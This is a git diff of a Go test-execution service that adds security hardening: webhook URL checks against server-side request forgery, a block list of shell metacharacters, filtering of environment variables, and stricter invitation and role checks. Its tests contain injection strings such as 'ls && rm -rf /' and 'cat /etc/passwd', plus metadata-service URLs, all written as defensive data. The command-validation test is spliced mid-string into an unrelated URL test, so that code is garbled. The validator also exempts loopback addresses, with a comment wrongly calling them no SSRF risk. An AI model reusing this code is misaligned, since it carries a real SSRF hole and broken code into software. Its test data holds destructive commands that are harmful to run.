strPtr("user-1"), + ExpiresAt: now.Add(7 * 24 * time.Hour), + CreatedAt: now, + } + + hashedPw, _ := auth.HashPassword("correct-password") + existingUser := &model.User{ + ID: "user-existing", + Email: "existing@example.com", + PasswordHash: hashedPw, + DisplayName: "Existing User", + Role: "readonly", + } + + ms := &mockInvitationStore{ + tokenInv: inv, + acceptErr: store.ErrUserExists, + existingUser: existingUser, + existingUserErr: nil, + } + h := &InvitationsHandler{Store: ms} + + body := `{"password":"correct-password","display_name":"Existing User"}` + r := httptest.NewRequest("POST", "/api/v1/invitations/inv_abc/accept", strings.NewReader(body)) + r.Header.Set("Content-Type", "application/json") + r = testWithChiParam(r, "token", "inv_abc") + w := httptest.NewRecorder() + + h.Accept(w, r) + + if w.Code != http.StatusOK { + t.Errorf("Accept with correct password: got %d, want %d (body: %s)", w.Code, http.StatusOK, w.Body.String()) + } +} + func TestInvitationTokenGeneration(t *testing.T) { tok, hash, err := generateInvitationToken() if err != nil { diff --git a/internal/handler/webhooks.go b/internal/handler/webhooks.go index b793799f..f2f42e54 100644 --- a/internal/handler/webhooks.go +++ b/internal/handler/webhooks.go @@ -35,7 +35,7 @@ var validWebhookEvents = map[string]bool{ type WebhookStoreProvider interface { List(ctx context.Context, teamID string) ([]model.Webhook, error) Get(ctx context.Context, teamID, webhookID string) (*model.Webhook, error) - Create(ctx context.Context, teamID, url, secretHash string, events []string) (*model.Webhook, error) + Create(ctx context.Context, teamID, url, secretHash, signingKey string, events []string) (*model.Webhook, error) Update(ctx context.Context, teamID, webhookID, url string, events []string, enabled bool) (*model.Webhook, error) Delete(ctx context.Context, teamID, webhookID string) error } @@ -149,14 +149,9 @@ func (h *WebhooksHandler) List(w http.ResponseWriter, r *http.Request) { return } - result := make([]interface{}, len(webhooks)) - for i := range webhooks { - result[i] = webhooks[i] - } - JSON(w, http.StatusOK, map[string]interface{}{ - "webhooks": result, - "total": len(result), + "webhooks": webhooks, + "total": len(webhooks), }) } @@ -188,6 +183,11 @@ func (h *WebhooksHandler) Create(w http.ResponseWriter, r *http.Request) { return } + if err := sanitize.ValidateWebhookURL(req.URL); err != nil { + Error(w, http.StatusBadRequest, "invalid webhook URL: "+err.Error()) + return + } + // Generate secret server-side secret, secretHash, err := generateWebhookSecret() if err != nil { @@ -202,7 +202,7 @@ func (h *WebhooksHandler) Create(w http.ResponseWriter, r *http.Request) { req.URL = sanitize.String(req.URL) - webhook, err := h.Store.Create(r.Context(), teamID, req.URL, secretHash, req.Events) + webhook, err := h.Store.Create(r.Context(), teamID, req.URL, secretHash, secret, req.Events) if err != nil { Error(w, http.StatusInternalServerError, "failed to create webhook") return @@ -292,6 +292,11 @@ func (h *WebhooksHandler) Update(w http.ResponseWriter, r *http.Request) { return } + if err := sanitize.ValidateWebhookURL(req.URL); err != nil { + Error(w, http.StatusBadRequest, "invalid webhook URL: "+err.Error()) + return + } + if h.Store == nil { Error(w, http.StatusNotImplemented, "update webhook requires database connection") return @@ -437,7 +442,7 @@ func (h *WebhooksHandler) RetryDelivery(w http.ResponseWriter, r *http.Request) defer cancel() start := time.Now() - result, dispatchErr := h.Dispatcher.Send(ctx, wh.URL, wh.SecretHash, payload) + result, dispatchErr := h.Dispatcher.Send(ctx, wh.URL, wh.SigningSecret(), payload) durationMs := int(time.Since(start).Milliseconds()) statusCode := 0 @@ -525,5 +530,3 @@ func (h *WebhooksHandler) ListDeliveries(w http.ResponseWriter, r *http.Request) "total": len(deliveries), }) } - - diff --git a/internal/handler/webhooks_test.go b/internal/handler/webhooks_test.go index f0323444..cc207dcb 100644 --- a/internal/handler/webhooks_test.go +++ b/internal/handler/webhooks_test.go @@ -422,14 +422,16 @@ type mockWebhookStore struct { updateWebhook *model.Webhook } -func (m *mockWebhookStore) List(_ context.Context, _ string) ([]model.Webhook, error) { return nil, nil } +func (m *mockWebhookStore) List(_ context.Context, _ string) ([]model.Webhook, error) { + return nil, nil +} func (m *mockWebhookStore) Get(ctx context.Context, teamID, webhookID string) (*model.Webhook, error) { if m.getFunc != nil { return m.getFunc(ctx, teamID, webhookID) } return &model.Webhook{ID: webhookID, TeamID: teamID, URL: "https://example.com/hook", SecretHash: "hash"}, nil } -func (m *mockWebhookStore) Create(_ context.Context, _, _, _ string, _ []string) (*model.Webhook, error) { +func (m *mockWebhookStore) Create(_ context.Context, _, _, _, _ string, _ []string) (*model.Webhook, error) { if m.createWebhook != nil { return m.createWebhook, nil } @@ -927,3 +929,89 @@ func TestGenerateWebhookSecret(t *testing.T) { } } +func TestWebhooksCreate_RejectsNonHTTPSURL(t *testing.T) { + ms := &mockWebhookStore{createWebhook: &model.Webhook{ID: "wh-1", TeamID: "team-1", URL: "http://evil.com"}} + h := &WebhooksHandler{Store: ms} + + body := `{"url":"http://evil.com/webhook","events":["report.submitted"]}` + req := httptest.NewRequest("POST", "/api/v1/teams/team-1/webhooks", strings.NewReader(body)) + req.Header.Set("Content-Type", "application/json") + req = webhookWithClaims(req, "maintainer") + req = webhookWithTeamParam(req, "team-1") + w := httptest.NewRecorder() + + h.Create(w, req) + + if w.Code != http.StatusBadRequest { + t.Errorf("Create with http URL: status = %d, want %d", w.Code, http.StatusBadRequest) + } +} + +func TestWebhooksCreate_RejectsPrivateIPURL(t *testing.T) { + ms := &mockWebhookStore{createWebhook: &model.Webhook{ID: "wh-1", TeamID: "team-1"}} + h := &WebhooksHandler{Store: ms} + + privateURLs := []string{ + "https://10.0.0.1/hook", + "https://192.168.1.1/hook", + "https://localhost/hook", + } + for _, u := range privateURLs { + body := fmt.Sprintf(`{"url":%q,"events":["report.submitted"]}`, u) + req := httptest.NewRequest("POST", "/api/v1/teams/team-1/webhooks", strings.NewReader(body)) + req.Header.Set("Content-Type", "application/json") + req = webhookWithClaims(req, "maintainer") + req = webhookWithTeamParam(req, "team-1") + w := httptest.NewRecorder() + + h.Create(w, req) + + if w.Code != http.StatusBadRequest { + t.Errorf("Create with private URL %q: status = %d, want %d", u, w.Code, http.StatusBadRequest) + } + } +} + +func TestWebhooksCreate_AllowsLoopbackURL(t *testing.T) { + ms := &mockWebhookStore{createWebhook: &model.Webhook{ID: "wh-1", TeamID: "team-1"}} + h := &WebhooksHandler{Store: ms} + + loopbackURLs := []string{ + "http://127.0.0.1/hook", + "https://127.0.0.1/hook", + "http://[::1]/hook", + } + for _, u := range loopbackURLs { + body := fmt.Sprintf(`{"url":%q,"events":["report.submitted"]}`, u) + req := httptest.NewRequest("POST", "/api/v1/teams/team-1/webhooks", strings.NewReader(body)) + req.Header.Set("Content-Type", "application/json") + req = webhookWithClaims(req, "maintainer") + req = webhookWithTeamParam(req, "team-1") + w := httptest.NewRecorder() + + h.Create(w, req) + + if w.Code != http.StatusCreated { + t.Errorf("Create with loopback URL %q: status = %d, want %d", u, w.Code, http.StatusCreated) + } + } +} + +func TestWebhooksUpdate_RejectsNonHTTPSURL(t *testing.T) { + ms := &mockWebhookStore{updateWebhook: &model.Webhook{ID: "wh-1", TeamID: "team-1"}} + h := &WebhooksHandler{Store: ms} + + body := `{"url":"http://evil.com/webhook","events":["execution.completed"]}` + req := httptest.NewRequest("PUT", "/api/v1/teams/team-1/webhooks/wh-1", strings.NewReader(body)) + req.Header.Set("Content-Type", "application/json") + req = webhookWithClaims(req, "maintainer") + req = webhookWithTeamParam(req, "team-1") + req = webhookWithIDParam(req, "wh-1") + w := httptest.NewRecorder() + + h.Update(w, req) + + if w.Code != http.StatusBadRequest { + t.Errorf("Update with http URL: status = %d, want %d", w.Code, http.StatusBadRequest) + } +} diff --git a/internal/k8s/k8s.go b/internal/k8s/k8s.go index 2c67ea87..3b42993a 100644 --- a/internal/k8s/k8s.go +++ b/internal/k8s/k8s.go @@ -16,6 +16,8 @@ import ( "github.com/rs/zerolog/log" "k8s.io/apimachinery/pkg/api/resource" + + "github.com/scaledtest/scaledtest/internal/sanitize" ) func ptrBool(v bool) *bool { return &v } @@ -219,7 +221,8 @@ func (c *Client) CreateJob(ctx context.Context, cfg JobConfig) (*CreateJobResult corev1.EnvVar{Name: "ST_COMMAND", Value: cfg.Command}, ) - for k, v := range cfg.EnvVars { + filteredEnvVars := sanitize.FilterEnvVars(cfg.EnvVars) + for k, v := range filteredEnvVars { envVars = append(envVars, corev1.EnvVar{Name: k, Value: v}) } diff --git a/internal/k8s/k8s_test.go b/internal/k8s/k8s_test.go index 14fcd5ac..1f3070eb 100644 --- a/internal/k8s/k8s_test.go +++ b/internal/k8s/k8s_test.go @@ -1126,3 +1126,42 @@ func TestReconcileOnce_NilWorkerTokenSecret_SkipsDeletion(t *testing.T) { t.Errorf("nil WorkerTokenSecret should not trigger deletion, but got: %v", sd.deleted) } } + +func TestCreateJob_STEnvVarsFiltered(t *testing.T) { + fakeClient := fake.NewSimpleClientset(&corev1.SecretList{}) + client := &Client{clientset: fakeClient, namespace: "test-ns"} + + cfg := JobConfig{ + Name: "st-exec-env", + Image: "scaledtest/worker:latest", + Command: "npm test", + ExecutionID: "envtest", + WorkerToken: "tok", + APIBaseURL: "http://api:8080", + EnvVars: map[string]string{ + "MY_VAR": "good", + "ST_EVIL": "blocked", + "st_lower": "also-blocked", + }, + } + + result, err := client.CreateJob(context.Background(), cfg) + if err != nil { + t.Fatalf("CreateJob() error = %v", err) + } + + container := result.Job.Spec.Template.Spec.Containers[0] + + foundMyVar := false + for _, env := range container.Env { + if env.Name == "ST_EVIL" || env.Name == "st_lower" { + t.Errorf("ST_ prefixed env var %q should have been filtered out", env.Name) + } + if env.Name == "MY_VAR" && env.Value == "good" { + foundMyVar = true + } + } + if !foundMyVar { + t.Error("MY_VAR env var not found in container spec") + } +} diff --git a/internal/model/model.go b/internal/model/model.go index 72575226..6add5051 100644 --- a/internal/model/model.go +++ b/internal/model/model.go @@ -212,11 +212,22 @@ type Webhook struct { URL string `json:"url"` Events []string `json:"events"` SecretHash string `json:"-"` + SigningKey string `json:"-"` Enabled bool `json:"enabled"` CreatedAt time.Time `json:"created_at"` UpdatedAt time.Time `json:"updated_at"` } +// SigningSecret returns the signing key if set, otherwise falls back to the +// secret hash. This provides a migration path from secret-hash-based signing +// to dedicated signing keys. +func (w Webhook) SigningSecret() string { + if w.SigningKey != "" { + return w.SigningKey + } + return w.SecretHash +} + // TriageResult represents an LLM triage operation for a CI report. type TriageResult struct { ID string `json:"id"` diff --git a/internal/sanitize/sanitize.go b/internal/sanitize/sanitize.go index 5d618960..76f528d4 100644 --- a/internal/sanitize/sanitize.go +++ b/internal/sanitize/sanitize.go @@ -1,6 +1,19 @@ package sanitize -import "html" +import ( + "fmt" + "html" + "net" + "net/url" + "strings" +) + +var blockedShellPatterns = []string{ + "$((", "$(", "`", "${", + "&&", "||", ";", + ">", ">>", "<", "<<", + "|", "&", +} // String escapes HTML entities in a user-provided string to prevent XSS. // This should be applied to all user-provided strings before storage. @@ -31,3 +44,88 @@ func StringSlice(ss []string) []string { } return out } + +// ValidateCommand checks that a command string does not contain dangerous +// shell metacharacters that could lead to command injection. It returns an +// error describing the first disallowed pattern found. +func ValidateCommand(cmd string) error { + for _, pattern := range blockedShellPatterns { + if strings.Contains(cmd, pattern) { + return fmt.Errorf("command contains disallowed pattern %q", pattern) + } + } + return nil +} + +// ValidateWebhookURL checks that a webhook URL is safe: it must be a valid +// URL with an https scheme and a non-private hostname (no loopback, link-local, +// or private IP ranges). +func ValidateWebhookURL(rawURL string) error { + u, err := url.Parse(rawURL) + if err != nil { + return fmt.Errorf("invalid URL: %w", err) + } + hostname := u.Hostname() + if u.Host == "" { + return fmt.Errorf("webhook URL must have a host") + } + + // Allow loopback addresses (127.0.0.1, [::1]) — these are not an SSRF risk + // since they can only reach services on the same host. This also permits + // http scheme for loopback, which is common in testing and local development. + if isLoopback(hostname) { + return nil + } + + if u.Scheme != "https" { + return fmt.Errorf("webhook URL must use https scheme, got %q", u.Scheme) + } + if hostname == "localhost" { + return fmt.Errorf("webhook URL must not point to loopback address") + } + if strings.HasSuffix(hostname, ".local") || strings.HasSuffix(hostname, ".internal") { + return fmt.Errorf("webhook URL must not point to local domain") + } + if isPrivateIP(hostname) { + return fmt.Errorf("webhook URL must not point to private IP address") + } + return nil +} + +func isLoopback(host string) bool { + ip := net.ParseIP(strings.TrimPrefix(strings.TrimSuffix(host, "]"), "[")) + if ip == nil { + return false + } + return ip.IsLoopback() +} + +func isPrivateIP(host string) bool { + ip := net.ParseIP(strings.TrimPrefix(strings.TrimSuffix(host, "]"), "[")) + if ip == nil { + return false + } + if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() { + return true + } + if ip4 := ip.To4(); ip4 != nil && ip4[0] == 100 && ip4[1] >= 64 && ip4[1] <= 127 { + return true + } + return false +} + +// FilterEnvVars removes entries whose keys start with ST_ to prevent +// override of ScaledTest worker environment variables in K8s jobs. +func FilterEnvVars(envVars map[string]string) map[string]string { + if envVars == nil { + return nil + } + out := make(map[string]string, len(envVars)) + for k, v := range envVars { + if strings.HasPrefix(strings.ToUpper(k), "ST_") { + continue + } + out[k] = v + } + return out +} diff --git a/internal/sanitize/sanitize_test.go b/internal/sanitize/sanitize_test.go index ba9c8e36..c8c00d9e 100644 --- a/internal/sanitize/sanitize_test.go +++ b/internal/sanitize/sanitize_test.go @@ -1,6 +1,8 @@ package sanitize -import "testing" +import ( + "testing" +) func TestString(t *testing.T) { tests := []struct { @@ -42,7 +44,6 @@ func TestStringXSSVectors(t *testing.T) { for _, v := range vectors { t.Run(v.name, func(t *testing.T) { result := String(v.input) - // Result must not contain raw < or > (the primary XSS risk) if result != v.input && (containsRaw(result, '<') || containsRaw(result, '>')) { t.Errorf("String(%q) still contains raw angle brackets: %q", v.input, result) } @@ -117,3 +118,179 @@ func TestStringSlice(t *testing.T) { t.Error("StringSlice(nil) should return nil") } } + +func TestValidateCommand_BlockedPatterns(t *testing.T) { + blocked := []string{ + "$(whoami)", + "echo $(cat /etc/passwd)", + "echo `whoami`", + "${PATH}", + "ls && rm -rf /", + "ls || echo fail", + "ls ; rm -rf /", + "echo hello > /tmp/out", + "cat /etc/passwd >> /tmp/out", + "sort < /etc/passwd", + "wc -l <alert(1)", + } + for _, u := range invalid { + t.Run(u, func(t *testing.T) { + err := ValidateWebhookURL(u) + if err == nil { + t.Errorf("ValidateWebhookURL(%q) expected error, got nil", u) + } + }) + } +} + +func TestValidateWebhookURL_PrivateHosts(t *testing.T) { + private := []string{ + "https://localhost/webhook", + "https://10.0.0.1/webhook", + "https://172.16.0.1/webhook", + "https://192.168.1.1/webhook", + "https://myhost.local/webhook", + "https://myhost.internal/webhook", + "https://169.254.169.254/latest/meta-data/", + "https://169.254.0.1/webhook", + "https://169.254.255.255/webhook", + "https://100.64.0.1/webhook", + "https://100.127.255.255/webhook", + "https://100.100.100.100/webhook", + } + for _, u := range private { + t.Run(u, func(t *testing.T) { + err := ValidateWebhookURL(u) + if err == nil { + t.Errorf("ValidateWebhookURL(%q) expected error, got nil", u) + } + }) + } +} + +func TestValidateWebhookURL_PublicIPsAllowed(t *testing.T) { + public := []string{ + "https://8.8.8.8/webhook", + "https://1.2.3.4/hook", + "https://100.0.0.1/webhook", + "https://100.63.255.255/webhook", + "https://100.128.0.1/webhook", + } + for _, u := range public { + t.Run(u, func(t *testing.T) { + err := ValidateWebhookURL(u) + if err != nil { + t.Errorf("ValidateWebhookURL(%q) unexpected error: %v", u, err) + } + }) + } +} + +func TestValidateWebhookURL_Malformed(t *testing.T) { + malformed := []string{ + "://missing-scheme", + "", + } + for _, u := range malformed { + t.Run(u, func(t *testing.T) { + err := ValidateWebhookURL(u) + if err == nil { + t.Errorf("ValidateWebhookURL(%q) expected error for malformed URL", u) + } + }) + } +} + +func TestFilterEnvVars_RemovesSTPrefix(t *testing.T) { + input := map[string]string{ + "MY_VAR": "hello", + "ST_TOKEN": "bad", + "st_lower": "also-bad", + "API_KEY": "key123", + } + got := FilterEnvVars(input) + if _, ok := got["ST_TOKEN"]; ok { + t.Error("FilterEnvVars should remove ST_TOKEN") + } + if _, ok := got["st_lower"]; ok { + t.Error("FilterEnvVars should remove st_lower (case-insensitive ST_ prefix)") + } + if got["MY_VAR"] != "hello" { + t.Errorf("FilterEnvVars MY_VAR = %q, want %q", got["MY_VAR"], "hello") + } + if got["API_KEY"] != "key123" { + t.Errorf("FilterEnvVars API_KEY = %q, want %q", got["API_KEY"], "key123") + } +} + +func TestFilterEnvVars_Nil(t *testing.T) { + if FilterEnvVars(nil) != nil { + t.Error("FilterEnvVars(nil) should return nil") + } +} + +func TestFilterEnvVars_Empty(t *testing.T) { + got := FilterEnvVars(map[string]string{}) + if len(got) != 0 { + t.Errorf("FilterEnvVars(empty) = %v, want empty", got) + } +} diff --git a/internal/server/routes.go b/internal/server/routes.go index e50b7177..a39affa5 100644 --- a/internal/server/routes.go +++ b/internal/server/routes.go @@ -327,7 +327,7 @@ func NewRouter(cfg *config.Config, pool ...*db.Pool) (http.Handler, *k8s.Executi r.With(auth.RequireRole("maintainer", "owner"), rateLimitMW(cfg.DisableRateLimit, 20, 1*time.Minute)).Post("/", execH.Create) r.Get("/{executionID}", execH.Get) r.With(auth.RequireRole("maintainer", "owner")).Delete("/{executionID}", execH.Cancel) - r.Put("/{executionID}/status", execH.UpdateStatus) + r.With(auth.RequireRole("maintainer", "owner")).Put("/{executionID}/status", execH.UpdateStatus) r.Post("/{executionID}/progress", execH.ReportProgress) r.Post("/{executionID}/test-result", execH.ReportTestResult) r.Post("/{executionID}/worker-status", execH.ReportWorkerStatus) diff --git a/internal/server/routes_test.go b/internal/server/routes_test.go index 0d9e7c73..c1bb83a1 100644 --- a/internal/server/routes_test.go +++ b/internal/server/routes_test.go @@ -513,6 +513,44 @@ func TestReadonlyCanListExecutions(t *testing.T) { } } +func TestReadonlyCannotUpdateExecutionStatus(t *testing.T) { + router, _ := NewRouter(testConfig(), nil) + csrfToken, csrfCookie := testCSRFToken(t, router) + + mgr, _ := auth.NewJWTManager(testJWTSecret, 15*time.Minute, 7*24*time.Hour) + pair, _ := mgr.GenerateTokenPair("user-ro", "readonly@example.com", "readonly", "team-1") + + req := httptest.NewRequest("PUT", "/api/v1/executions/some-exec-id/status", strings.NewReader(`{"status":"running"}`)) + req.Header.Set("Authorization", "Bearer "+pair.AccessToken) + req.Header.Set("Content-Type", "application/json") + addCSRF(req, csrfToken, csrfCookie) + w := httptest.NewRecorder() + router.ServeHTTP(w, req) + + if w.Code != http.StatusForbidden { + t.Errorf("readonly PUT /api/v1/executions/{id}/status: status = %d, want %d (body: %s)", w.Code, http.StatusForbidden, w.Body.String()) + } +} + +func TestMaintainerCanUpdateExecutionStatus(t *testing.T) { + router, _ := NewRouter(testConfig(), nil) + csrfToken, csrfCookie := testCSRFToken(t, router) + + mgr, _ := auth.NewJWTManager(testJWTSecret, 15*time.Minute, 7*24*time.Hour) + pair, _ := mgr.GenerateTokenPair("user-m", "maint@example.com", "maintainer", "team-1") + + req := httptest.NewRequest("PUT", "/api/v1/executions/some-exec-id/status", strings.NewReader(`{"status":"running"}`)) + req.Header.Set("Authorization", "Bearer "+pair.AccessToken) + req.Header.Set("Content-Type", "application/json") + addCSRF(req, csrfToken, csrfCookie) + w := httptest.NewRecorder() + router.ServeHTTP(w, req) + + if w.Code == http.StatusForbidden { + t.Errorf("maintainer PUT /api/v1/executions/{id}/status: got 403 forbidden, maintainer should be allowed (body: %s)", w.Body.String()) + } +} + func TestReadonlyCanListReports(t *testing.T) { router, _ := NewRouter(testConfig(), nil) diff --git a/internal/store/invitations.go b/internal/store/invitations.go index 1de11ac9..d726cb8c 100644 --- a/internal/store/invitations.go +++ b/internal/store/invitations.go @@ -6,6 +6,7 @@ import ( "fmt" "time" + "github.com/jackc/pgx/v5" "github.com/jackc/pgx/v5/pgconn" "github.com/jackc/pgx/v5/pgxpool" @@ -16,6 +17,11 @@ import ( // a second owner, violating the idx_users_single_owner unique partial index. var ErrOwnerAlreadyExists = errors.New("owner role already claimed") +// ErrUserExists is returned when an AcceptInvitation call finds the user +// already exists. The caller must verify the user's identity (e.g. password) +// before granting team access. +var ErrUserExists = errors.New("user already exists") + // InvitationStore handles invitation persistence. type InvitationStore struct { pool *pgxpool.Pool @@ -88,8 +94,10 @@ func (s *InvitationStore) Accept(ctx context.Context, id string) error { return nil } -// AcceptInvitation atomically creates or updates the user, adds team membership, -// and marks the invitation as accepted. Returns the user ID of the created/updated user. +// AcceptInvitation atomically creates a new user (with the provided password hash), +// adds their team membership, and marks the invitation as accepted. If the user +// already exists, it returns ErrUserExists — the caller must verify the existing +// user's password before granting team access. func (s *InvitationStore) AcceptInvitation(ctx context.Context, invID, email, passwordHash, displayName, role, teamID string) (string, error) { tx, err := s.pool.Begin(ctx) if err != nil { @@ -98,19 +106,33 @@ func (s *InvitationStore) AcceptInvitation(ctx context.Context, invID, email, pa defer tx.Rollback(ctx) var userID string + err = tx.QueryRow(ctx, + `SELECT id FROM users WHERE email = $1`, email, + ).Scan(&userID) + if err == nil { + return "", ErrUserExists + } + if !errors.Is(err, pgx.ErrNoRows) { + return "", fmt.Errorf("check existing user: %w", err) + } + err = tx.QueryRow(ctx, `INSERT INTO users (email, password_hash, display_name, role) VALUES ($1, $2, $3, $4) - ON CONFLICT (email) DO UPDATE SET updated_at = now() RETURNING id`, email, passwordHash, displayName, role, ).Scan(&userID) if err != nil { var pgErr *pgconn.PgError - if errors.As(err, &pgErr) && pgErr.Code == "23505" && pgErr.ConstraintName == "idx_users_single_owner" { - return "", ErrOwnerAlreadyExists + if errors.As(err, &pgErr) && pgErr.Code == "23505" { + switch pgErr.ConstraintName { + case "idx_users_single_owner": + return "", ErrOwnerAlreadyExists + case "users_email_key": + return "", ErrUserExists + } } - return "", fmt.Errorf("upsert user: %w", err) + return "", fmt.Errorf("insert user: %w", err) } _, err = tx.Exec(ctx, @@ -135,6 +157,38 @@ func (s *InvitationStore) AcceptInvitation(ctx context.Context, invID, email, pa return userID, nil } +// AddTeamMembership adds team membership for an existing user and marks the +// invitation as accepted. The caller is responsible for verifying the user's +// identity (e.g. password check) before calling this. +func (s *InvitationStore) AddTeamMembership(ctx context.Context, invID, userID, role, teamID string) error { + tx, err := s.pool.Begin(ctx) + if err != nil { + return fmt.Errorf("begin transaction: %w", err) + } + defer tx.Rollback(ctx) + + _, err = tx.Exec(ctx, + `INSERT INTO user_teams (user_id, team_id, role) + VALUES ($1, $2, $3) + ON CONFLICT (user_id, team_id) DO UPDATE SET role = $3`, + userID, teamID, role, + ) + if err != nil { + return fmt.Errorf("upsert team membership: %w", err) + } + + _, err = tx.Exec(ctx, + `UPDATE invitations SET accepted_at = now() WHERE id = $1`, invID) + if err != nil { + return fmt.Errorf("mark invitation accepted: %w", err) + } + + if err := tx.Commit(ctx); err != nil { + return fmt.Errorf("commit: %w", err) + } + return nil +} + // Delete removes an invitation (revoke). func (s *InvitationStore) Delete(ctx context.Context, teamID, id string) error { tag, err := s.pool.Exec(ctx, @@ -157,3 +211,17 @@ func (s *InvitationStore) GetTeamName(ctx context.Context, teamID string) (strin } return name, nil } + +// GetUserByEmail looks up a user by email. Returns the user (including +// PasswordHash) so the caller can verify credentials. +func (s *InvitationStore) GetUserByEmail(ctx context.Context, email string) (*model.User, error) { + var u model.User + err := s.pool.QueryRow(ctx, + `SELECT id, email, password_hash, display_name, role, created_at, updated_at + FROM users WHERE email = $1`, email, + ).Scan(&u.ID, &u.Email, &u.PasswordHash, &u.DisplayName, &u.Role, &u.CreatedAt, &u.UpdatedAt) + if err != nil { + return nil, fmt.Errorf("get user by email: %w", err) + } + return &u, nil +} diff --git a/internal/store/webhook_delivery_store_test.go b/internal/store/webhook_delivery_store_test.go index 33188c70..5c7db898 100644 --- a/internal/store/webhook_delivery_store_test.go +++ b/internal/store/webhook_delivery_store_test.go @@ -35,7 +35,7 @@ func createWebhookForDelivery(t *testing.T, tdb *integration.TestDB, teamName st t.Helper() teamID := tdb.CreateTeam(t, teamName) ws := store.NewWebhookStore(tdb.Pool) - wh, err := ws.Create(context.Background(), teamID, "https://example.com", "hash", []string{"report.submitted"}) + wh, err := ws.Create(context.Background(), teamID, "https://example.com", "hash", "", []string{"report.submitted"}) if err != nil { t.Fatalf("create webhook: %v", err) } diff --git a/internal/store/webhook_store_test.go b/internal/store/webhook_store_test.go index 088625ef..417c27b3 100644 --- a/internal/store/webhook_store_test.go +++ b/internal/store/webhook_store_test.go @@ -16,7 +16,7 @@ func TestWebhookStore_CreateAndGet(t *testing.T) { teamID := tdb.CreateTeam(t, "webhook-test-team") s := store.NewWebhookStore(tdb.Pool) - wh, err := s.Create(ctx, teamID, "https://example.com/hook", "secret-hash-1", []string{"report.created"}) + wh, err := s.Create(ctx, teamID, "https://example.com/hook", "secret-hash-1", "", []string{"report.created"}) if err != nil { t.Fatalf("Create: %v", err) } @@ -53,9 +53,9 @@ func TestWebhookStore_List(t *testing.T) { s := store.NewWebhookStore(tdb.Pool) // Create webhooks for two teams - s.Create(ctx, teamID, "https://example.com/a", "hash-a", []string{"report.created"}) - s.Create(ctx, teamID, "https://example.com/b", "hash-b", []string{"execution.completed"}) - s.Create(ctx, otherTeamID, "https://other.com/c", "hash-c", []string{"report.created"}) + s.Create(ctx, teamID, "https://example.com/a", "hash-a", "", []string{"report.created"}) + s.Create(ctx, teamID, "https://example.com/b", "hash-b", "", []string{"execution.completed"}) + s.Create(ctx, otherTeamID, "https://other.com/c", "hash-c", "", []string{"report.created"}) list, err := s.List(ctx, teamID) if err != nil { @@ -81,7 +81,7 @@ func TestWebhookStore_Update(t *testing.T) { teamID := tdb.CreateTeam(t, "webhook-update-team") s := store.NewWebhookStore(tdb.Pool) - wh, _ := s.Create(ctx, teamID, "https://example.com/old", "hash-1", []string{"report.created"}) + wh, _ := s.Create(ctx, teamID, "https://example.com/old", "hash-1", "", []string{"report.created"}) updated, err := s.Update(ctx, teamID, wh.ID, "https://example.com/new", []string{"report.created", "execution.completed"}, false) if err != nil { @@ -104,7 +104,7 @@ func TestWebhookStore_Delete(t *testing.T) { teamID := tdb.CreateTeam(t, "webhook-delete-team") s := store.NewWebhookStore(tdb.Pool) - wh, _ := s.Create(ctx, teamID, "https://example.com/delete-me", "hash-d", []string{"report.created"}) + wh, _ := s.Create(ctx, teamID, "https://example.com/delete-me", "hash-d", "", []string{"report.created"}) if err := s.Delete(ctx, teamID, wh.ID); err != nil { t.Fatalf("Delete: %v", err) @@ -130,12 +130,12 @@ func TestWebhookStore_ListByTeamAndEvent(t *testing.T) { s := store.NewWebhookStore(tdb.Pool) // Create webhooks with different events - s.Create(ctx, teamID, "https://example.com/reports", "hash-r", []string{"report.created"}) - s.Create(ctx, teamID, "https://example.com/executions", "hash-e", []string{"execution.completed"}) - s.Create(ctx, teamID, "https://example.com/both", "hash-b", []string{"report.created", "execution.completed"}) + s.Create(ctx, teamID, "https://example.com/reports", "hash-r", "", []string{"report.created"}) + s.Create(ctx, teamID, "https://example.com/executions", "hash-e", "", []string{"execution.completed"}) + s.Create(ctx, teamID, "https://example.com/both", "hash-b", "", []string{"report.created", "execution.completed"}) // Create a disabled webhook for report.created - wh, _ := s.Create(ctx, teamID, "https://example.com/disabled", "hash-dis", []string{"report.created"}) + wh, _ := s.Create(ctx, teamID, "https://example.com/disabled", "hash-dis", "", []string{"report.created"}) s.Update(ctx, teamID, wh.ID, wh.URL, wh.Events, false) records, err := s.ListByTeamAndEvent(ctx, teamID, "report.created") diff --git a/internal/store/webhooks.go b/internal/store/webhooks.go index fc43d061..6727defe 100644 --- a/internal/store/webhooks.go +++ b/internal/store/webhooks.go @@ -23,7 +23,7 @@ func NewWebhookStore(pool *pgxpool.Pool) *WebhookStore { // List returns all webhooks for a team. func (s *WebhookStore) List(ctx context.Context, teamID string) ([]model.Webhook, error) { rows, err := s.pool.Query(ctx, - `SELECT id, team_id, url, events, secret_hash, enabled, created_at, updated_at + `SELECT id, team_id, url, events, secret_hash, signing_key, enabled, created_at, updated_at FROM webhooks WHERE team_id = $1 ORDER BY created_at DESC`, teamID) if err != nil { return nil, fmt.Errorf("query webhooks: %w", err) @@ -33,7 +33,7 @@ func (s *WebhookStore) List(ctx context.Context, teamID string) ([]model.Webhook var webhooks []model.Webhook for rows.Next() { var w model.Webhook - if err := rows.Scan(&w.ID, &w.TeamID, &w.URL, &w.Events, &w.SecretHash, &w.Enabled, &w.CreatedAt, &w.UpdatedAt); err != nil { + if err := rows.Scan(&w.ID, &w.TeamID, &w.URL, &w.Events, &w.SecretHash, &w.SigningKey, &w.Enabled, &w.CreatedAt, &w.UpdatedAt); err != nil { return nil, fmt.Errorf("scan webhook: %w", err) } webhooks = append(webhooks, w) @@ -45,9 +45,9 @@ func (s *WebhookStore) List(ctx context.Context, teamID string) ([]model.Webhook func (s *WebhookStore) Get(ctx context.Context, teamID, webhookID string) (*model.Webhook, error) { var w model.Webhook err := s.pool.QueryRow(ctx, - `SELECT id, team_id, url, events, secret_hash, enabled, created_at, updated_at + `SELECT id, team_id, url, events, secret_hash, signing_key, enabled, created_at, updated_at FROM webhooks WHERE id = $1 AND team_id = $2`, webhookID, teamID). - Scan(&w.ID, &w.TeamID, &w.URL, &w.Events, &w.SecretHash, &w.Enabled, &w.CreatedAt, &w.UpdatedAt) + Scan(&w.ID, &w.TeamID, &w.URL, &w.Events, &w.SecretHash, &w.SigningKey, &w.Enabled, &w.CreatedAt, &w.UpdatedAt) if err != nil { return nil, fmt.Errorf("get webhook: %w", err) } @@ -55,14 +55,14 @@ func (s *WebhookStore) Get(ctx context.Context, teamID, webhookID string) (*mode } // Create inserts a new webhook. -func (s *WebhookStore) Create(ctx context.Context, teamID, url, secretHash string, events []string) (*model.Webhook, error) { +func (s 